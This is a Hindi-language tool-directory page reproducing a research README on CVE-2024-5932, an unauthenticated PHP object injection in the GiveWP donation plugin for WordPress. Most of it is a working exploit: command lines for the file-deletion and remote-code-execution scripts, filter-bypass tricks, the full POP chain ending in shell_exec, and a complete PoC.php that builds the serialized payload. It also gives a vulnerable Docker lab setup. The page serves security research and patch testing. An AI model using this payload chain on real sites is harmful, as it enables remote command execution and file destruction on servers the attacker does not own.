Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-5932 — GiveWP PHP ऑब्जेक्ट इंजेक्शन एक्सप्लॉइट | Kitploit
उपकरण/GitHubGitHub/eqstlab/cve-2024-5932
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेपर और शोधलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubeqstlab/cve-2024-5932

CVE-2024-5932

GiveWP PHP ऑब्जेक्ट इंजेक्शन एक्सप्लॉइट

रिपॉजिटरी देखें
78101 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

यह पोस्ट EQSTLab द्वारा प्रकाशित एक शोध लेख है।

❗❗ महत्वपूर्ण ❗❗

वर्तमान में xmrig चलाने वाले नकली PoC github रिपॉजिटरी मौजूद हैं। अधिक जानकारी के लिए नीचे दिए गए लिंक देखें:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 मनमाना फ़ाइल विलोपन और RCE PoC ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

समयरेखा

25 अगस्त : CVE-2024-5932 फ़ाइल विलोपन PoC अपलोड किया गया

26 अगस्त : हमने CVE-2024-5932 का उपयोग करके मनमाने कमांड को सफलतापूर्वक निष्पादित किया है, लेकिन प्रभाव के कारण प्रकटीकरण पर विचार कर रहे हैं।

27 अगस्त : हमें RCE Security के Julien Ahrens द्वारा एक पोस्ट में PoC का विस्तृत विश्लेषण मिला और हमने अपना RCE PoC प्रकाशित करने का निर्णय लिया। हमने एक अतिरिक्त RCE PoC को CVE-2024-5932-rce.py के रूप में अपलोड किया।

विवरण

CVE-2024-5932 : GiveWP PHP ऑब्जेक्ट इंजेक्शन कमजोरी विवरण: GiveWP डोनेशन प्लगइन और फंडरेज़िंग प्लेटफॉर्म प्लगइन WordPress के लिए, सभी संस्करणों में 3.14.1 तक और इसमें शामिल, 'give_title' पैरामीटर से अविश्वसनीय इनपुट के डिसीरियलाइज़ेशन के माध्यम से PHP ऑब्जेक्ट इंजेक्शन के लिए असुरक्षित है। यह अप्रमाणित हमलावरों के लिए PHP ऑब्जेक्ट इंजेक्ट करना संभव बनाता है। POP चेन की अतिरिक्त उपस्थिति हमलावरों को दूरस्थ रूप से कोड निष्पादित करने और मनमानी फ़ाइलों को हटाने की अनुमति देती है।

उपयोग कैसे करें

Git clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

पैकेज इंस्टॉल करें

root@kitploit:~
pip install -r requirements.txt

कमांड

root@kitploit:~
# मनमाना फ़ाइल विलोपन
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# दूरस्थ कोड निष्पादन
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

उदाहरण

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

आउटपुट

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

परिणाम

image 2

असुरक्षित वातावरण

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. फिर असुरक्षित GiveWP प्लगइन डाउनलोड करें:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. GiveWP प्लगइन ज़िप फ़ाइल को अनज़िप करें और पूरी फ़ाइल को “/var/www/html/wp-content/plugins” निर्देशिका में कॉपी करें।

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. GiveWP प्लगइन सक्रिय करें

image

5. GiveWP प्लगइन के साथ नई पोस्ट जोड़ें और पोस्ट लिंक कॉपी करें

image

6. असुरक्षित लिंक की जाँच करें

image

(वैकल्पिक) डॉकर वातावरण में लक्ष्य फ़ाइल सेट अप करें

पहले, निम्नलिखित कमांड से wordpress शेल तक पहुँचें:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

यदि फ़ाइल root के स्वामित्व में है, तो अनुमतियों के कारण इसे हटाया नहीं जा सकता है। इसलिए, आपको निम्नलिखित कमांड से परीक्षण फ़ाइल का स्वामित्व बदलना होगा:

root@kitploit:~
touch test && chown www-data test

image

PHPSTORM के माध्यम से डीबगिंग

आप PHPSTORM का उपयोग करके अपने GiveWP को डीबग कर सकते हैं।

1. अपने wordpress (Docker) में xdebug डाउनलोड करें:

root@kitploit:~
pecl install xdebug

2. और फिर wordpress की php.ini फ़ाइल इस प्रकार सेट करें (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..और फिर आप अपने wordpress को डीबग कर सकते हैं।

3. PHPSTORM इस प्रकार सेट अप करें (स्थानीय):

image image

4. PHPSTORM उदाहरण (जैसे, TCPDF मनमाना फ़ाइल विलोपन)

image

विश्लेषण

असुरक्षित बिंदु (includes/payments/class-give-payment.php)

इस बिंदु पर, get_meta() फ़ंक्शन पहले से सहेजे गए "give_title" मान को डिसीरियलाइज़ करता है।

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

बाईपास तकनीक

strip_tags: nullbytes को \0 से बदलें

stripslashes_deep: बैकस्लैश को \\\\ से बदलें

RCE के लिए POP चेनिंग

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (कमांड स्ट्रिंग लौटाता है)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

हमला परिदृश्य

POP चेन के माध्यम से RCE

POP चेन दूरस्थ कमांड निष्पादन की अनुमति देती है। image

मनमाना फ़ाइल विलोपन

TCPDF का उपयोग करके, आप मनमाना फ़ाइल विलोपन का शोषण कर सकते हैं।

अस्वीकरण

यह रिपॉजिटरी CVE-2024-5932 के लिए ऑब्जेक्ट इंजेक्शन एक्सप्लॉइट होने का इरादा नहीं है। इस परियोजना का उद्देश्य लोगों को इस कमजोरी के बारे में सीखने में मदद करना है, और शायद अपने स्वयं के अनुप्रयोगों का परीक्षण करना है।

EQST अंतर्दृष्टि

हम महीने में एक बार CVE और मैलवेयर विश्लेषण प्रकाशित करते हैं। यदि आप रुचि रखते हैं, तो कृपया हमारे प्रकाशनों को देखने के लिए नीचे दिए गए लिंक का अनुसरण करें। https://www.skshieldus.com/eng/business/insight.do

संदर्भ

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

टूल डाउनलोड करें